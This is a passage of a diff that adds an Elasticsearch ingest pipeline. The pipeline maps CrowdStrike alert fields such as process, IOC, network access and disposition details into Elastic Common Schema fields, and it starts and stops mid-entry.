field: json.grandparent_details.user_graph_id + tag: rename_grandparent_details_user_graph_id + target_field: crowdstrike.alert.grandparent_details.user_graph_id + ignore_missing: true + - append: + field: related.user + tag: append_user_graph_id_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null + - rename: + field: json.grandparent_details.user_id + tag: rename_grandparent_details_user_id + target_field: crowdstrike.alert.grandparent_details.user_id + ignore_missing: true + - append: + field: related.user + tag: append_grandparent_details_user_id_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null + - rename: + field: json.grandparent_details.user_name + tag: rename_grandparent_details_user_name + target_field: crowdstrike.alert.grandparent_details.user_name + ignore_missing: true + - append: + field: related.user + tag: append_grandparent_details_user_name_into_related_user + value: '{{{crowdstrike.alert.grandparent_details.user_name}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null + - convert: + field: json.has_script_or_module_ioc + tag: convert_has_script_or_module_ioc_to_boolean + target_field: crowdstrike.alert.has_script_or_module_ioc + type: boolean + if: ctx.json?.has_script_or_module_ioc != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.host_name + tag: rename_host_name + target_field: crowdstrike.alert.host_name + ignore_missing: true + - set: + field: host.name + tag: set_host_name_from_alert_host_name + copy_from: crowdstrike.alert.host_name + ignore_empty_value: true + - append: + field: related.hosts + value: '{{{host.name}}}' + allow_duplicates: false + if: ctx.host?.name != null + - rename: + field: json.host_type + tag: rename_host_type + target_field: crowdstrike.alert.host_type + ignore_missing: true + - set: + field: host.type + tag: set_host_type_from_alert_host_type + copy_from: crowdstrike.alert.host_type + ignore_empty_value: true + - script: + tag: reconstruct_has_script_or_module_ioc_from_ioc_context + lang: painless + if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List + source: | + if (ctx.crowdstrike == null) { + ctx.crowdstrike = [:]; + } + if (ctx.crowdstrike.alert == null) { + ctx.crowdstrike.alert = [:]; + } + for (def c: ctx.json.ioc_context) { + if (c.type == 'module' || c.type == 'script') { + ctx.crowdstrike.alert.has_script_or_module_ioc = true; + return; + } + } + ctx.crowdstrike.alert.has_script_or_module_ioc = false; + - rename: + field: json.id + tag: rename_id + target_field: crowdstrike.alert.id + ignore_missing: true + - set: + field: event.id + tag: set_event_id_from_alert_id + copy_from: crowdstrike.alert.id + ignore_empty_value: true + - convert: + field: json.idp_policy_enforced_externally + tag: convert_idp_policy_enforced_externally_to_long + target_field: crowdstrike.alert.idp_policy.enforced_externally + type: long + if: ctx.json?.idp_policy_enforced_externally != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_mfa_factor_type + tag: convert_idp_policy_mfa_factor_type_to_long + target_field: crowdstrike.alert.idp_policy.mfa_factor_type + type: long + if: ctx.json?.idp_policy_mfa_factor_type != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_mfa_provider + tag: convert_idp_policy_mfa_provider_to_long + target_field: crowdstrike.alert.idp_policy.mfa_provider + type: long + if: ctx.json?.idp_policy_mfa_provider != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_rule_action + tag: convert_idp_policy_rule_action_to_long + target_field: crowdstrike.alert.idp_policy.rule_action + type: long + if: ctx.json?.idp_policy_rule_action != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.idp_policy_rule_trigger + tag: convert_idp_policy_rule_trigger_to_long + target_field: crowdstrike.alert.idp_policy.rule_trigger + type: long + if: ctx.json?.idp_policy_rule_trigger != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.idp_policy_rule_id + tag: rename_idp_policy_rule_id + target_field: crowdstrike.alert.idp_policy.rule_id + ignore_missing: true + - set: + field: rule.id + tag: set_rule_id_from_alert_idp_policy_rule_id + copy_from: crowdstrike.alert.idp_policy.rule_id + ignore_empty_value: true + - rename: + field: json.idp_policy_rule_name + tag: rename_idp_policy_rule_name + target_field: crowdstrike.alert.idp_policy.rule_name + ignore_missing: true + - set: + field: rule.name + tag: set_rule_name_from_alert_idp_policy_rule_name + copy_from: crowdstrike.alert.idp_policy.rule_name + ignore_empty_value: true + - rename: + field: json.image_file_name + tag: rename_image_file_name + target_field: crowdstrike.alert.image_file_name + ignore_missing: true + - set: + field: file.path + tag: set_file_path_from_alert_image_file_name + copy_from: crowdstrike.alert.image_file_name + ignore_empty_value: true + - date: + field: json.incident.created + tag: date_incident_created + target_field: crowdstrike.alert.incident.created + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.created != null && ctx.json.incident.created != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.incident.end + tag: date_incident_end + target_field: crowdstrike.alert.incident.end + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.end != null && ctx.json.incident.end != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.incident.id + tag: rename_incident_id + target_field: crowdstrike.alert.incident.id + ignore_missing: true + - convert: + field: json.incident.score + tag: convert_incident_score_to_double + target_field: crowdstrike.alert.incident.score + type: double + if: ctx.json?.incident?.score != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.incident.start + tag: date_incident_start + target_field: crowdstrike.alert.incident.start + formats: + - yyyy-MM-dd'T'HH:mm:ss'Z' + if: ctx.json?.incident?.start != null && ctx.json.incident.start != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + - rename: + field: json.indicator_id + tag: rename_indicator_id + target_field: crowdstrike.alert.indicator_id + ignore_missing: true + - rename: + field: json.ioc_context + tag: rename_ioc_context + target_field: crowdstrike.alert.ioc_context + ignore_missing: true + - foreach: + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_ioc_context_md5_to_related_hash + value: '{{{_ingest._value.md5}}}' + allow_duplicates: false + - foreach: + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_ioc_context_sha256_to_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.ioc_description + tag: rename_ioc_description + target_field: crowdstrike.alert.ioc_description + ignore_missing: true + - rename: + field: json.ioc_source + tag: rename_ioc_source + target_field: crowdstrike.alert.ioc_source + ignore_missing: true + - rename: + field: json.ioc_type + tag: rename_ioc_type + target_field: crowdstrike.alert.ioc_type + ignore_missing: true + - rename: + field: json.ioc_value + tag: rename_ioc_value + target_field: crowdstrike.alert.ioc_value + ignore_missing: true + - rename: + field: json.ioc_values + tag: rename_ioc_values + target_field: crowdstrike.alert.ioc_values + ignore_missing: true + - append: + field: crowdstrike.alert.ioc_values + tag: append_ioc_value_to_ioc_values + value: '{{{crowdstrike.alert.ioc_value}}}' + if: ctx.crowdstrike?.alert?.ioc_value != null + allow_duplicates: false + - foreach: + tag: reconstruct_ioc_values_from_ioc_context + field: crowdstrike.alert.ioc_context + if: ctx.crowdstrike?.alert?.ioc_context instanceof List + ignore_failure: true + processor: + append: + field: crowdstrike.alert.ioc_values + tag: append_ioc_context_ioc_value_to_ioc_values + value: '{{{_ingest._value.ioc_value}}}' + allow_duplicates: false + - convert: + field: json.is_synthetic_quarantine_disposition + tag: convert_is_synthetic_quarantine_disposition_to_boolean + target_field: crowdstrike.alert.is_synthetic_quarantine_disposition + type: boolean + if: ctx.json?.is_synthetic_quarantine_disposition != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details + lang: painless + if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map + source: | + if (ctx.crowdstrike == null) { + ctx.crowdstrike = [:]; + } + if (ctx.crowdstrike.alert == null) { + ctx.crowdstrike.alert = [:]; + } + for (def d: ctx.json.pattern_disposition_details.entrySet()) { + if (d.getKey() == 'quarantine_file') { + ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue(); + return; + } + } + ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false; + - convert: + field: json.ldap_search_query_attack + tag: convert_ldap_search_query_attack_to_long + target_field: crowdstrike.alert.ldap_search_query_attack + type: long + if: ctx.json?.ldap_search_query_attack != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.local_prevalence + tag: rename_local_prevalence + target_field: crowdstrike.alert.local_prevalence + ignore_missing: true + - rename: + field: json.local_process_id + tag: rename_local_process_id + target_field: crowdstrike.alert.local_process_id + ignore_missing: true + - rename: + field: json.location_country_code + tag: rename_location_country_code + target_field: crowdstrike.alert.location_country_code + ignore_missing: true + - set: + field: observer.geo.country_iso_code + tag: set_observer_geo_country_iso_code_from_alert_location_country_code + copy_from: crowdstrike.alert.location_country_code + ignore_empty_value: true + - convert: + field: json.location_latitude_as_int + tag: convert_location_latitude_as_int_to_long + target_field: crowdstrike.alert.location_latitude_as_int + type: long + if: ctx.json?.location_latitude_as_int != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.location_longitude_as_int + tag: convert_location_longitude_as_int_to_long + target_field: crowdstrike.alert.location_longitude_as_int + type: long + if: ctx.json?.location_longitude_as_int != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: combine latitude and longitude. + tag: script_to_combine_latitude_and_longitude + lang: painless + if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null + source: |- + def location = new HashMap(); + location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int); + location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int); + if(ctx.observer == null) { + ctx.put('observer', new HashMap()); + } + if(ctx.observer.geo == null){ + ctx.observer.put('geo', new HashMap()); + } + ctx.observer.geo.location = location; + - rename: + field: json.logon_domain + tag: rename_logon_domain + target_field: crowdstrike.alert.logon_domain + ignore_missing: true + - rename: + field: json.md5 + tag: rename_md5 + target_field: crowdstrike.alert.md5 + ignore_missing: true + - set: + field: process.hash.md5 + tag: set_process_hash_md5 + copy_from: crowdstrike.alert.md5 + ignore_empty_value: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.md5 != null + - rename: + field: json.model_anomaly_indicators + tag: rename_model_anomaly_indicators + target_field: crowdstrike.alert.model_anomaly_indicators + ignore_missing: true + - rename: + field: json.name + tag: rename_name + target_field: crowdstrike.alert.name + ignore_missing: true + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + date: + field: _ingest._value.access_timestamp + tag: date_network_accesses_access_timestamp + target_field: _ingest._value.access_timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.access_timestamp + ignore_missing: true + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.access_type + tag: convert_network_accesses_access_type_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.access_type + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.isIPV6 + tag: convert_network_accesses_isIPV6_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.isIPV6 + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.local_address + tag: convert_network_accesses_local_address_to_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.local_address + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + append: + field: related.ip + tag: append_network_accesses_local_address_into_related_ip + value: '{{{_ingest._value.local_address}}}' + allow_duplicates: false + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.local_port + tag: convert_network_accesses_local_port_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.local_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.remote_address + tag: convert_network_accesses_remote_address_to_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.remote_address + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + append: + field: related.ip + tag: append_network_accesses_remote_address_into_related_ip + value: '{{{_ingest._value.remote_address}}}' + allow_duplicates: false + - foreach: + field: json.network_accesses + if: ctx.json?.network_accesses instanceof List + processor: + convert: + field: _ingest._value.remote_port + tag: convert_network_accesses_remote_port_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.remote_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.network_accesses + tag: rename_network_accesses + target_field: crowdstrike.alert.network_accesses + ignore_missing: true + - rename: + field: json.objective + tag: rename_objective + target_field: crowdstrike.alert.objective + ignore_missing: true + - rename: + field: json.operating_system + tag: rename_operating_system + target_field: crowdstrike.alert.operating_system + ignore_missing: true + - set: + field: host.os.name + tag: set_host_os_name_from_alert_operating_system + copy_from: crowdstrike.alert.operating_system + ignore_empty_value: true + - script: + description: Dynamically set host.os.type values. + tag: script_map_host_os_type + lang: painless + params: + os_type: + - linux + - macos + - unix + - windows + - ios + - android + source: | + if (ctx.crowdstrike?.alert?.device?.platform_name != null) { + String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase(); + for (String os: params.os_type) { + if (platform_name.contains(os)) { + ctx.host.os.put('type', os); + return; + } + } + } else if (ctx.crowdstrike?.alert?.operating_system != null) { + String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase(); + for (String os: params.os_type) { + if (operating_system.contains(os)) { + ctx.host.os.put('type', os); + return; + } + } + } + - rename: + field: json.os_name + tag: rename_os_name + target_field: crowdstrike.alert.os_name + ignore_missing: true + - set: + field: host.os.family + tag: set_host_os_family_from_alert_os_name + copy_from: crowdstrike.alert.os_name + ignore_empty_value: true + - rename: + field: json.parent_details.cmdline + tag: rename_parent_details_cmdline + target_field: crowdstrike.alert.parent_details.cmdline + ignore_missing: true + - set: + field: process.parent.command_line + tag: set_process_parent_command_line_from_alert_parent_details_cmdline + copy_from: crowdstrike.alert.parent_details.cmdline + ignore_empty_value: true + - rename: + field: json.parent_details.filename + tag: rename_parent_details_filename + target_field: crowdstrike.alert.parent_details.filename + ignore_missing: true + - set: + field: process.parent.name + tag: set_process_parent_name + copy_from: crowdstrike.alert.parent_details.filename + ignore_empty_value: true + - rename: + field: json.parent_details.filepath + tag: rename_parent_details_filepath + target_field: crowdstrike.alert.parent_details.filepath + ignore_missing: true + - set: + field: process.parent.executable + tag: set_process_parent_executable + copy_from: crowdstrike.alert.parent_details.filepath + ignore_empty_value: true + - rename: + field: json.parent_details.local_process_id + tag: rename_parent_details_local_process_id + target_field: crowdstrike.alert.parent_details.local_process_id + ignore_missing: true + - rename: + field: json.parent_details.md5 + tag: rename_parent_details_md5 + target_field: crowdstrike.alert.parent_details.md5 + ignore_missing: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.parent_details.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.md5 != null + - set: + field: process.parent.hash.md5 + tag: set_process_parent_hash_md5_from_alert_parent_details_md5 + copy_from: crowdstrike.alert.parent_details.md5 + ignore_empty_value: true + - rename: + field: json.parent_details.process_graph_id + tag: rename_parent_details_process_graph_id + target_field: crowdstrike.alert.parent_details.process_graph_id + ignore_missing: true + - rename: + field: json.parent_details.process_id + tag: rename_parent_details_process_id + target_field: crowdstrike.alert.parent_details.process_id + ignore_missing: true + - rename: + field: json.parent_details.sha256 + tag: rename_parent_details_sha256 + target_field: crowdstrike.alert.parent_details.sha256 + ignore_missing: true + - set: + field: process.parent.hash.sha256 + tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256 + copy_from: crowdstrike.alert.parent_details.sha256 + ignore_empty_value: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.parent_details.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null + - date: + field: json.parent_details.timestamp + tag: date_parent_details_timestamp + target_field: crowdstrike.alert.parent_details.timestamp + formats: + - ISO8601 + if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.parent_details.user_graph_id + tag: rename_parent_details_user_graph_id + target_field: crowdstrike.alert.parent_details.user_graph_id + ignore_missing: true + - append: + field: related.user + tag: append_parent_details_user_graph_id_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null + - rename: + field: json.parent_details.user_id + tag: rename_parent_details_user_id + target_field: crowdstrike.alert.parent_details.user_id + ignore_missing: true + - set: + field: process.user.id + tag: set_process_user_id_from_alert_parent_details_user_id + copy_from: crowdstrike.alert.parent_details.user_id + ignore_empty_value: true + - rename: + field: json.parent_details.user_name + tag: rename_parent_details_user_name + target_field: crowdstrike.alert.parent_details.user_name + ignore_missing: true + - set: + field: process.user.name + tag: set_process_user_name_from_alert_parent_details_user_name + copy_from: crowdstrike.alert.parent_details.user_name + ignore_empty_value: true + - append: + field: related.user + tag: append_parent_details_user_id_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_id != null + - append: + field: related.user + tag: append_parent_details_user_name_into_related_user + value: '{{{crowdstrike.alert.parent_details.user_name}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.parent_details?.user_name != null + - rename: + field: json.parent_process_id + tag: rename_parent_process_id + target_field: crowdstrike.alert.parent_process_id + ignore_missing: true + - set: + field: process.parent.entity_id + tag: set_process_parent_entity_id + copy_from: crowdstrike.alert.parent_process_id + ignore_empty_value: true + - convert: + field: crowdstrike.alert.parent_process_id + tag: convert_alert_parent_process_id + target_field: process.parent.pid + type: long + if: ctx.crowdstrike?.alert?.parent_process_id != '' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition + tag: convert_pattern_disposition_to_long + target_field: crowdstrike.alert.pattern_disposition + type: long + if: ctx.json?.pattern_disposition != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.pattern_disposition_description + tag: rename_pattern_disposition_description + target_field: crowdstrike.alert.pattern_disposition_description + ignore_missing: true + - convert: + field: json.pattern_disposition_details.blocking_unsupported_or_disabled + tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.bootup_safeguard_enabled + tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled + type: boolean + if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.containment_file_system + tag: convert_pattern_disposition_details_containment_file_system_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system + type: boolean + if: ctx.json?.pattern_disposition_details?.containment_file_system != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.critical_process_disabled + tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.critical_process_disabled != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.detect + tag: convert_pattern_disposition_details_detect_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.detect + type: boolean + if: ctx.json?.pattern_disposition_details?.detect != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.fs_operation_blocked + tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.handle_operation_downgraded + tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded + type: boolean + if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.inddet_mask + tag: convert_pattern_disposition_details_inddet_mask_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask + type: boolean + if: ctx.json?.pattern_disposition_details?.inddet_mask != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.indicator + tag: convert_pattern_disposition_details_indicator_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.indicator + type: boolean + if: ctx.json?.pattern_disposition_details?.indicator != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_action_failed + tag: convert_pattern_disposition_details_kill_action_failed_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_action_failed != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_parent + tag: convert_pattern_disposition_details_kill_parent_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_parent + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_parent != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_process + tag: convert_pattern_disposition_details_kill_process_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_process + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_process != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_subprocess + tag: convert_pattern_disposition_details_kill_subprocess_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_subprocess != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with 